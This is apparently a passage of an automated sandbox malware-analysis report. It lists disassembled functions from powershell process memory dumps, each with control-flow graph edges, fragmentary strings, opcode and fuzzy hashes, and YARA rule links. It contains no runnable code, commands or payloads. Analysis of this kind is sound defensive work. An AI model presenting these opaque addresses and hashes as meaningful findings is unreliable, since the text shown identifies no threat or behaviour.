                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 045B83D8 Relevance: 4.2, Strings: 2, Instructions: 1694COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 836 45b83d8-45b973f call 45b3140 1096 45b974b-45b975e 836->1096 1285 45b975e call 45bc670 1096->1285 1286 45b975e call 45bc666 1096->1286 1098 45b9764-45b9767 1099 45b9769-45b976e 1098->1099 1100 45b9770 1098->1100 1101 45b9777-45ba502 call 45b5d90 1099->1101 1100->1101 1285->1098 1286->1098
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2354451762.00000000045B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045B0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_45b0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: f%l$ f%l
                                                                                                                            • API String ID: 0-3826354903
                                                                                                                            • Opcode ID: 160c7d21aaa0a997a8dcec1b8c155fe52e68140d9cb78a78fe5153b1f59a136e
                                                                                                                            • Instruction ID: ceceeab8981faec5c3ae4b012a081547b19df7f12f45aaa39d92dd0eb51b700e
                                                                                                                            • Opcode Fuzzy Hash: 160c7d21aaa0a997a8dcec1b8c155fe52e68140d9cb78a78fe5153b1f59a136e
                                                                                                                            • Instruction Fuzzy Hash: 72035734A042189FDB19DB60D855BEE7773EF88308F5080A9E90A6B794CF35AD82DF50
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 045B83E8 Relevance: 4.2, Strings: 2, Instructions: 1689COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 1287 45b83e8-45b975e call 45b3140 1735 45b975e call 45bc670 1287->1735 1736 45b975e call 45bc666 1287->1736 1548 45b9764-45b9767 1549 45b9769-45b976e 1548->1549 1550 45b9770 1548->1550 1551 45b9777-45ba0e4 call 45b5d90 1549->1551 1550->1551 1676 45ba0e9-45ba502 1551->1676 1735->1548 1736->1548
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2354451762.00000000045B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045B0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_45b0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: f%l$ f%l
                                                                                                                            • API String ID: 0-3826354903
                                                                                                                            • Opcode ID: c8ad474e44206bba46843760a3c95da01ff668504c66284369274b3b149c5dde
                                                                                                                            • Instruction ID: 83115ed54e15d1d9e0288ad1a059fc5a8a1e8a767645ffb2081f6a0da0969a15
                                                                                                                            • Opcode Fuzzy Hash: c8ad474e44206bba46843760a3c95da01ff668504c66284369274b3b149c5dde
                                                                                                                            • Instruction Fuzzy Hash: 88034734A042189FDB19DB64D855BEE7773EF88308F5080A9E90A6B794CF35AD82DF50
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A44510 Relevance: 2.1, Strings: 1, Instructions: 891COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: `Q l
                                                                                                                            • API String ID: 0-2795267401
                                                                                                                            • Opcode ID: d2fefc5734034e021675837ce780db4d05b1b482df06f2f86922338fbe673d5c
                                                                                                                            • Instruction ID: ad955dec6f583009e54b3baac4ea52144307723e7ead9746eae4eae36169494b
                                                                                                                            • Opcode Fuzzy Hash: d2fefc5734034e021675837ce780db4d05b1b482df06f2f86922338fbe673d5c
                                                                                                                            • Instruction Fuzzy Hash: 02826AB4A00259DFDB54DF64C884BADBBB2BF89304F1085A9E919AB390DB31DD81CF50
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A45B60 Relevance: 2.1, Strings: 1, Instructions: 826COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: ($l
                                                                                                                            • API String ID: 0-3452078508
                                                                                                                            • Opcode ID: 10a8284d5f5a58fb1ce16a8843e74b5327301bb2eeae12046a0f5f83c8d9fa70
                                                                                                                            • Instruction ID: 0a9aee3e6daf646f63bfca81a848ef13661717014b47fe2f3744fdd6e047dfd1
                                                                                                                            • Opcode Fuzzy Hash: 10a8284d5f5a58fb1ce16a8843e74b5327301bb2eeae12046a0f5f83c8d9fa70
                                                                                                                            • Instruction Fuzzy Hash: 0E62CA70A002098FCB19DF64C954AAEB7F2FFC9304F158569E51AAB360DB31ED46CB91
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A42E01 Relevance: .9, Instructions: 868COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 3c7e64f0037f97fdf9ae5502dfb5b847adbf5e438c3065c688da32d8f8f1f099
                                                                                                                            • Instruction ID: e20aef322cd357b1d049a0834ef376281105631830a74f06e2491716d7ede49e
                                                                                                                            • Opcode Fuzzy Hash: 3c7e64f0037f97fdf9ae5502dfb5b847adbf5e438c3065c688da32d8f8f1f099
                                                                                                                            • Instruction Fuzzy Hash: 87729D74B002059FDF08DFA5C894AAEBBB2BFC9304F158069E915AB391DB35EC46CB50
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF01E8 Relevance: .6, Instructions: 634COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 8e8d8a34f6107d3efc1274e3e551ae080adbc9db03db3c55600cc9db26c7b2e5
                                                                                                                            • Instruction ID: a2e45cccdd36349e66daaa51934c71b8cd8a3939870d503f43577335604f001f
                                                                                                                            • Opcode Fuzzy Hash: 8e8d8a34f6107d3efc1274e3e551ae080adbc9db03db3c55600cc9db26c7b2e5
                                                                                                                            • Instruction Fuzzy Hash: 8642AE30A042159FEB159B64CC50BAAB7B6EF88304F1585EAE9097B391DF71AD81CF90
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF01D8 Relevance: .4, Instructions: 368COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: cc34061ee1fb2c6f42ec7dc74827cd4b74f12b4c6ccae8d53487f2b550b7266d
                                                                                                                            • Instruction ID: a6b65bb8f296d639a219f7cafc4703ee4078006d3fb652d475b798bf5b9ae38f
                                                                                                                            • Opcode Fuzzy Hash: cc34061ee1fb2c6f42ec7dc74827cd4b74f12b4c6ccae8d53487f2b550b7266d
                                                                                                                            • Instruction Fuzzy Hash: 19E1AF30A002159FEB159B64CC50BEAB7B6EF89304F1581EAE5097B391DF71AD81CFA1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A43093 Relevance: .4, Instructions: 366COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 324d4c9816b137e77359add15b3f016124ca75a9f7c1c868193792764608f97e
                                                                                                                            • Instruction ID: d1385ce9ecfca3a9fe630afd0ace386d6e22bcc23b82718af016afed0005877c
                                                                                                                            • Opcode Fuzzy Hash: 324d4c9816b137e77359add15b3f016124ca75a9f7c1c868193792764608f97e
                                                                                                                            • Instruction Fuzzy Hash: 17D140B4B002059FDF18DFA5C494AAEBBB6AFC8305F118069E911EB391DB76DC46CB50
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07AB0BF0 Relevance: 6.5, Strings: 5, Instructions: 291COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 309 7ab0bf0-7ab0c17 310 7ab0c1d-7ab0c22 309->310 311 7ab0f00-7ab0f34 309->311 312 7ab0c3a-7ab0c46 310->312 313 7ab0c24-7ab0c2a 310->313 318 7ab0f36-7ab0f42 311->318 319 7ab0f44 311->319 322 7ab0e98-7ab0ea2 312->322 323 7ab0c4c-7ab0c4e 312->323 315 7ab0c2e-7ab0c38 313->315 316 7ab0c2c 313->316 315->312 316->312 320 7ab0f46-7ab0f48 318->320 319->320 324 7ab0f5b-7ab0f65 320->324 325 7ab0f4a-7ab0f51 320->325 327 7ab0eb0-7ab0eb6 322->327 328 7ab0ea4-7ab0ead 322->328 323->322 326 7ab0c54-7ab0c5b 323->326 333 7ab0f6f-7ab0f75 324->333 334 7ab0f67-7ab0f6c 324->334 325->324 329 7ab0f53-7ab0f58 325->329 326->311 330 7ab0c61-7ab0c66 326->330 331 7ab0eb8-7ab0eba 327->331 332 7ab0ebc-7ab0ec8 327->332 335 7ab0c68-7ab0c6e 330->335 336 7ab0c7e-7ab0c82 330->336 337 7ab0eca-7ab0efd 331->337 332->337 338 7ab0f7b-7ab0f87 333->338 339 7ab0f77-7ab0f79 333->339 341 7ab0c72-7ab0c7c 335->341 342 7ab0c70 335->342 336->322 343 7ab0c88-7ab0c8c 336->343 340 7ab0f89-7ab0fa0 338->340 339->340 341->336 342->336 347 7ab0c9f 343->347 348 7ab0c8e-7ab0c9d 343->348 349 7ab0ca1-7ab0ca3 347->349 348->349 349->322 352 7ab0ca9-7ab0cbc 349->352 354 7ab0d79-7ab0dce 352->354 355 7ab0cc2-7ab0cd3 352->355 377 7ab0dd5-7ab0dfd 354->377 359 7ab0ced-7ab0d10 355->359 360 7ab0cd5-7ab0cdb 355->360 359->354 367 7ab0d12-7ab0d34 359->367 362 7ab0cdf-7ab0ceb 360->362 363 7ab0cdd 360->363 362->359 363->359 370 7ab0d4e-7ab0d66 367->370 371 7ab0d36-7ab0d3c 367->371 378 7ab0d68-7ab0d6a 370->378 379 7ab0d74-7ab0d77 370->379 372 7ab0d3e 371->372 373 7ab0d40-7ab0d4c 371->373 372->370 373->370 382 7ab0dff-7ab0e08 377->382 383 7ab0e20 377->383 378->379 379->377 385 7ab0e0a-7ab0e0d 382->385 386 7ab0e0f-7ab0e1c 382->386 384 7ab0e23-7ab0e32 383->384 389 7ab0e39-7ab0e95 384->389 387 7ab0e1e 385->387 386->387 387->384
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380023592.0000000007AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AB0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7ab0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: tP l$tP l$$ l$$ l$$ l
                                                                                                                            • API String ID: 0-53544969
                                                                                                                            • Opcode ID: 5cb7d6708a2701ffec2100a447a980b6d7452ac1a30ce8897535ab4668a6640b
                                                                                                                            • Instruction ID: 8daaa4346ae51c4a4f2e62328419564b74b3f1013e6bdd6e773a8a8163b14dfe
                                                                                                                            • Opcode Fuzzy Hash: 5cb7d6708a2701ffec2100a447a980b6d7452ac1a30ce8897535ab4668a6640b
                                                                                                                            • Instruction Fuzzy Hash: D1A1B5B5704209DFCB25CF64C4406EBBBE6EFC9214F09846AE9699B252CB31DC51CB91
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF2B28 Relevance: 4.0, Strings: 3, Instructions: 221COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 1737 7bf2b28-7bf2ba8 1743 7bf2baf-7bf2be9 1737->1743 1744 7bf2baa 1737->1744 1749 7bf2beb-7bf2bfe 1743->1749 1750 7bf2c05-7bf2c0c 1743->1750 1744->1743 1749->1750 1751 7bf2c0e-7bf2c11 1750->1751 1752 7bf2c18-7bf2c1e 1750->1752 1751->1752 1794 7bf2c21 call 7bf247f 1752->1794 1795 7bf2c21 call 7bf2490 1752->1795 1754 7bf2c27-7bf2c4c 1757 7bf2c4e 1754->1757 1758 7bf2c55-7bf2c86 1754->1758 1757->1758 1762 7bf2c8f-7bf2d5d 1758->1762 1763 7bf2c88 1758->1763 1778 7bf2d5f-7bf2d65 1762->1778 1779 7bf2d82-7bf2d97 1762->1779 1763->1762 1780 7bf2efb-7bf2f05 1778->1780 1781 7bf2d6b-7bf2d7b 1778->1781 1788 7bf2d9f 1779->1788 1782 7bf2f1e-7bf2f25 1780->1782 1783 7bf2f07-7bf2f16 1780->1783 1790 7bf2d7d 1781->1790 1785 7bf2f49-7bf2f64 1782->1785 1786 7bf2f27-7bf2f41 1782->1786 1783->1782 1792 7bf2f6e 1785->1792 1793 7bf2f66 1785->1793 1786->1785 1788->1780 1790->1780 1793->1792 1794->1754 1795->1754
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: 3J$KJ$cv
                                                                                                                            • API String ID: 0-2138593535
                                                                                                                            • Opcode ID: 28f22f2aba8d1789e09c2ae77256b64edc12ef0d3270d06bbefc7f3ac66b5259
                                                                                                                            • Instruction ID: f06c1f1361564837b9199910eee508dac637f05debec049359d0f44960a0ed57
                                                                                                                            • Opcode Fuzzy Hash: 28f22f2aba8d1789e09c2ae77256b64edc12ef0d3270d06bbefc7f3ac66b5259
                                                                                                                            • Instruction Fuzzy Hash: 90918FB0A042059FD709DF68C490A9EB7B2FF88308F54C5A9E9199B755CB31EC46CF90
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFB5BF Relevance: 3.9, Strings: 3, Instructions: 158COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 1796 7bfb5bf-7bfb5de 1798 7bfb5ec 1796->1798 1799 7bfb5e0-7bfb5ea 1796->1799 1800 7bfb5f1-7bfb5f3 1798->1800 1799->1800 1801 7bfb6ca-7bfb6e1 1800->1801 1802 7bfb5f9-7bfb5fd 1800->1802 1803 7bfb6e8-7bfb6ff 1801->1803 1802->1803 1804 7bfb603-7bfb624 1802->1804 1813 7bfb706-7bfb7b9 1803->1813 1811 7bfb626-7bfb630 1804->1811 1812 7bfb632 1804->1812 1814 7bfb637-7bfb639 1811->1814 1812->1814 1814->1813 1815 7bfb63f-7bfb646 1814->1815 1817 7bfb64c-7bfb6ba call 7bfb9f0 1815->1817 1818 7bfb648 1815->1818 1838 7bfb6bc call 7bfc029 1817->1838 1839 7bfb6bc call 7bfc038 1817->1839 1818->1817 1830 7bfb6c2-7bfb6c7 1838->1830 1839->1830
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: 4' l$4' l$S
                                                                                                                            • API String ID: 0-4062403584
                                                                                                                            • Opcode ID: 4b17c5106570326e4aa8942da0fda6c7cae8dd78196e69bbf241d6499098a1a3
                                                                                                                            • Instruction ID: e5086c4fa922cb36a0bd8744a19a2c4d587a9e20e09d4976c808b850bb24b2a0
                                                                                                                            • Opcode Fuzzy Hash: 4b17c5106570326e4aa8942da0fda6c7cae8dd78196e69bbf241d6499098a1a3
                                                                                                                            • Instruction Fuzzy Hash: B55148F12082416FDB069F74D5247AF7BA2EF85304F0584AAE905DB392CB39DC498B96
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07AB0BD1 Relevance: 3.9, Strings: 3, Instructions: 152COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 1841 7ab0bd1-7ab0c17 1842 7ab0c1d-7ab0c22 1841->1842 1843 7ab0f00-7ab0f34 1841->1843 1844 7ab0c3a-7ab0c46 1842->1844 1845 7ab0c24-7ab0c2a 1842->1845 1850 7ab0f36-7ab0f42 1843->1850 1851 7ab0f44 1843->1851 1854 7ab0e98-7ab0ea2 1844->1854 1855 7ab0c4c-7ab0c4e 1844->1855 1847 7ab0c2e-7ab0c38 1845->1847 1848 7ab0c2c 1845->1848 1847->1844 1848->1844 1852 7ab0f46-7ab0f48 1850->1852 1851->1852 1856 7ab0f5b-7ab0f65 1852->1856 1857 7ab0f4a-7ab0f51 1852->1857 1859 7ab0eb0-7ab0eb6 1854->1859 1860 7ab0ea4-7ab0ead 1854->1860 1855->1854 1858 7ab0c54-7ab0c5b 1855->1858 1865 7ab0f6f-7ab0f75 1856->1865 1866 7ab0f67-7ab0f6c 1856->1866 1857->1856 1861 7ab0f53-7ab0f58 1857->1861 1858->1843 1862 7ab0c61-7ab0c66 1858->1862 1863 7ab0eb8-7ab0eba 1859->1863 1864 7ab0ebc-7ab0ec8 1859->1864 1867 7ab0c68-7ab0c6e 1862->1867 1868 7ab0c7e-7ab0c82 1862->1868 1869 7ab0eca-7ab0efd 1863->1869 1864->1869 1870 7ab0f7b-7ab0f87 1865->1870 1871 7ab0f77-7ab0f79 1865->1871 1873 7ab0c72-7ab0c7c 1867->1873 1874 7ab0c70 1867->1874 1868->1854 1875 7ab0c88-7ab0c8c 1868->1875 1872 7ab0f89-7ab0fa0 1870->1872 1871->1872 1873->1868 1874->1868 1879 7ab0c9f 1875->1879 1880 7ab0c8e-7ab0c9d 1875->1880 1881 7ab0ca1-7ab0ca3 1879->1881 1880->1881 1881->1854 1884 7ab0ca9-7ab0cbc 1881->1884 1886 7ab0d79-7ab0dce 1884->1886 1887 7ab0cc2-7ab0cd3 1884->1887 1909 7ab0dd5-7ab0dfd 1886->1909 1891 7ab0ced-7ab0d10 1887->1891 1892 7ab0cd5-7ab0cdb 1887->1892 1891->1886 1899 7ab0d12-7ab0d34 1891->1899 1894 7ab0cdf-7ab0ceb 1892->1894 1895 7ab0cdd 1892->1895 1894->1891 1895->1891 1902 7ab0d4e-7ab0d66 1899->1902 1903 7ab0d36-7ab0d3c 1899->1903 1910 7ab0d68-7ab0d6a 1902->1910 1911 7ab0d74-7ab0d77 1902->1911 1904 7ab0d3e 1903->1904 1905 7ab0d40-7ab0d4c 1903->1905 1904->1902 1905->1902 1914 7ab0dff-7ab0e08 1909->1914 1915 7ab0e20 1909->1915 1910->1911 1911->1909 1917 7ab0e0a-7ab0e0d 1914->1917 1918 7ab0e0f-7ab0e1c 1914->1918 1916 7ab0e23-7ab0e32 1915->1916 1921 7ab0e39-7ab0e95 1916->1921 1919 7ab0e1e 1917->1919 1918->1919 1919->1916
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380023592.0000000007AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AB0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7ab0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: tP l$$ l$$ l
                                                                                                                            • API String ID: 0-1020526868
                                                                                                                            • Opcode ID: 6316fc818da645831416dad18fbfafbfb378be1903f2498f68a822a7780d0d67
                                                                                                                            • Instruction ID: ff28087d61e526f00d70fef72a393d278c7fd45c1d4febbbfe033eb6d2a8c32f
                                                                                                                            • Opcode Fuzzy Hash: 6316fc818da645831416dad18fbfafbfb378be1903f2498f68a822a7780d0d67
                                                                                                                            • Instruction Fuzzy Hash: 495193B5600209DFCB35CF54C544AEBBBF6AF8A314F0581AAE8299F662C731EC51CB51
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF5BD8 Relevance: 3.9, Strings: 3, Instructions: 129COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 1923 7bf5bd8-7bf5bf7 1926 7bf5bf9-7bf5bff 1923->1926 1927 7bf5c00-7bf5c3c 1923->1927 1932 7bf5cd7-7bf5ce8 1927->1932 1933 7bf5c42-7bf5c4a 1927->1933 1939 7bf5cea-7bf5d07 1932->1939 1940 7bf5d08-7bf5d36 1932->1940 1934 7bf5c4c-7bf5c64 1933->1934 1935 7bf5c66-7bf5c78 1933->1935 1934->1935 1945 7bf5cc6-7bf5cd6 1934->1945 1935->1945 1946 7bf5c7a-7bf5cc4 1935->1946 1939->1940 1953 7bf5d3d-7bf5d4b 1940->1953 1946->1945
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: 4' l$^j$c l
                                                                                                                            • API String ID: 0-4138825427
                                                                                                                            • Opcode ID: 84825d38dc6913eeae33ac9748f9e84d99772289786e83c3395aa7b6342f2dde
                                                                                                                            • Instruction ID: 2243ed9ef1e661b5adf6ca25f46f4121a98c23d9f6b1608313b14f74102fce2f
                                                                                                                            • Opcode Fuzzy Hash: 84825d38dc6913eeae33ac9748f9e84d99772289786e83c3395aa7b6342f2dde
                                                                                                                            • Instruction Fuzzy Hash: AC41E3B13082101FD709AB78D894B7E36D7DFCA614F1940BAD60ACB791DE29CC0587A1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07AB05E0 Relevance: 3.0, Strings: 2, Instructions: 462COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380023592.0000000007AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AB0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7ab0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: 4' l$4' l
                                                                                                                            • API String ID: 0-1902552836
                                                                                                                            • Opcode ID: ab5b982717a80ec521b2d2286379550aa2f06f6b8ad1d79c4c537c9edb4af517
                                                                                                                            • Instruction ID: 86429f7134813f0b77bf5c08e00b996718ee04cf777854f5ebf4d135eeab5b41
                                                                                                                            • Opcode Fuzzy Hash: ab5b982717a80ec521b2d2286379550aa2f06f6b8ad1d79c4c537c9edb4af517
                                                                                                                            • Instruction Fuzzy Hash: 16F119B57042069FCB24DF68C840AEBB7F6EFC9215F19846AD525CB252CB31DC51CBA1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07AB06D9 Relevance: 2.7, Strings: 2, Instructions: 238COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380023592.0000000007AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AB0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7ab0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: (o l$(o l
                                                                                                                            • API String ID: 0-2779577190
                                                                                                                            • Opcode ID: 2ce825fddc42b73bc9aaa597a3b3cf69825276c2f6e1fc1a51327896e1ce98be
                                                                                                                            • Instruction ID: 179d71bc089ed57185b4351ea2d42caf4c198e03e48cb66335f4e9062f5af0cd
                                                                                                                            • Opcode Fuzzy Hash: 2ce825fddc42b73bc9aaa597a3b3cf69825276c2f6e1fc1a51327896e1ce98be
                                                                                                                            • Instruction Fuzzy Hash: 4581B3B47002069FDB34CF64C844AEBB7E6EFC9315F19846AD9259B652CB31EC41CB91
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFDDE8 Relevance: 2.7, Strings: 2, Instructions: 163COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: ($l$($l
                                                                                                                            • API String ID: 0-1960352660
                                                                                                                            • Opcode ID: 41377ed1b4092804d8096284ecbd20199c1be1ad37a605819f520b0236b71d1f
                                                                                                                            • Instruction ID: e1ad678fe3932f0dd04102ed5d4c7bd9b34bd5b404511262bae121c039a5f969
                                                                                                                            • Opcode Fuzzy Hash: 41377ed1b4092804d8096284ecbd20199c1be1ad37a605819f520b0236b71d1f
                                                                                                                            • Instruction Fuzzy Hash: 3B51B0B1B0010AAFDF15DFA8D854AAFBBB6FF88300F104069E909A7350DB359D15CBA1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07AB1662 Relevance: 2.6, Strings: 2, Instructions: 94COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380023592.0000000007AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AB0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7ab0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: tP l$tP l
                                                                                                                            • API String ID: 0-3284867682
                                                                                                                            • Opcode ID: 061c041ab27bc39713865c066bc16766f8bdc9d833d13167e194d61a277d78e8
                                                                                                                            • Instruction ID: 480b512b727f43a3810bdb83e7256ac86ff9bdda22fe2090f1397918f41d7885
                                                                                                                            • Opcode Fuzzy Hash: 061c041ab27bc39713865c066bc16766f8bdc9d833d13167e194d61a277d78e8
                                                                                                                            • Instruction Fuzzy Hash: 5E31C7B1B041089FCB20DB54C421AAEF7E7EF8D724F05856AD925AF641DB31DC51CB82
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07AB0285 Relevance: 2.5, Strings: 2, Instructions: 40COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
